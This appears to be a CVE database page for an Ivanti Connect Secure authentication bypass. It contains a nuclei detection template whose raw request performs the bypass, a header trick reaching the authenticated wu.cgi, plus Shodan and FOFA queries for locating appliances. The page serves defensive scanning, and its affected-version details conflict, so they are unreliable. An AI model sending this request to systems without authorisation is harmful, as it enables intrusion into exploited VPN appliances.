Browse / CVEs / CVE-2026-104935
CVE-2026-104935· ivanti / connect secure· CWE-306
Ivanti Connect Secure <= 22.8R2.4 - Authentication Bypass via X-DSCGI-PATH Header
Exploited in the wild. Listed by CISA on 2026-10-13; known to be used by ransomware.
Ivanti Connect Secure VPN appliances contain an authentication bypass vulnerability in how the appliance routes requests from front- and back-end processes to CGI script handlers. The URL path is used to determine whether a request is allowed (welcome.cgi is public), while the X-DSCGI-PATH header determines the actual destination of the request. An attacker can send a request to the unauthenticated welcome.cgi endpoint with an X-DSCGI-PATH header pointing to an authenticated CGI script such as wu.cgi, bypassing authentication entirely. This vulnerability is chained with a file write race condition in wu.cgi and a privilege escalation via dsinvoked DSCache trust to achieve unauthenticated root-level remote code execution.
Impact
An unauthenticated attacker can bypass authentication and access protected CGI endpoints on the Ivanti Connect Secure appliance, leading to remote code execution with root privileges when chained with additional vulnerabilities.
Fix
Upgrade Ivanti Connect Secure to the patched version released on October 13, 2026. Affected versions include 25.1.1 and prior, 25.1.2, and 22.8R2.4.
How to confirm it
Send: GET /
Positive when: contains_any(body, "welcome.cgi", "Ivanti Connect Secure", "Pulse Secure")
Send: GET {{welcome_path}}
Positive when: contains_all(body, "upload file", "Browse buttons") and status_code == 200Run it with nuclei: nuclei -id CVE-2026-104935 -u <target>
The full check
id: CVE-2026-104935
info:
name: Ivanti Connect Secure <= 22.8R2.4 - Authentication Bypass via X-DSCGI-PATH Header
author: volexity,DhiyaneshDk
severity: critical
description: |
Ivanti Connect Secure VPN appliances contain an authentication bypass vulnerability in how the appliance routes requests from front- and back-end processes to CGI script handlers. The URL path is used to determine whether a request is allowed (welcome.cgi is public), while the X-DSCGI-PATH header determines the actual destination of the request. An attacker can send a request to the unauthenticated welcome.cgi endpoint with an X-DSCGI-PATH header pointing to an authenticated CGI script such as wu.cgi, bypassing authentication entirely. This vulnerability is chained with a file write race condition in wu.cgi and a privilege escalation via dsinvoked DSCache trust to achieve unauthenticated root-level remote code execution.
impact: |
An unauthenticated attacker can bypass authentication and access protected CGI endpoints on the Ivanti Connect Secure appliance, leading to remote code execution with root privileges when chained with additional vulnerabilities.
remediation: |
Upgrade Ivanti Connect Secure to the patched version released on October 13, 2026. Affected versions include 25.1.1 and prior, 25.1.2, and 22.8R2.4.
reference:
- https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/
- https://forums.ivanti.com
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-104935
epss-score: 0.88936
epss-percentile: 0.9978
cwe-id: CWE-306
metadata:
verified: true
max-request: 2
vendor: ivanti
product: connect_secure
shodan-query: html:"/dana-na/auth/"
fofa-query: body="/dana-na/auth/"
tags: cve,cve2026,ivanti,ics,vpn,auth-bypass,vkev,kev
flow: |
if (http(1)) {
if (template["welcome_path"] == "") {
template["welcome_path"] = "/dana-na/auth/url_default/welcome.cgi";
}
http(2);
}
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'contains_any(body, "welcome.cgi", "Ivanti Connect Secure", "Pulse Secure")'
internal: true
extractors:
- type: regex
name: welcome_path
internal: true
group: 1
part: all
regex:
- '(/dana-na/auth/url_[^/\s"''<>]+/welcome\.cgi)'
- raw:
- |
GET {{welcome_path}} HTTP/1.1
Host: {{Hostname}}
X-DSCGI-PATH: /home/webserver/htdocs/dana/fb/smb/wu.cgi
matchers:
- type: dsl
dsl:
- 'contains_all(body, "upload file", "Browse buttons")'
- 'status_code == 200'
condition: andReferences
- https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/
- https://forums.ivanti.com
Use this check only on systems you are authorised to test. Where the data comes from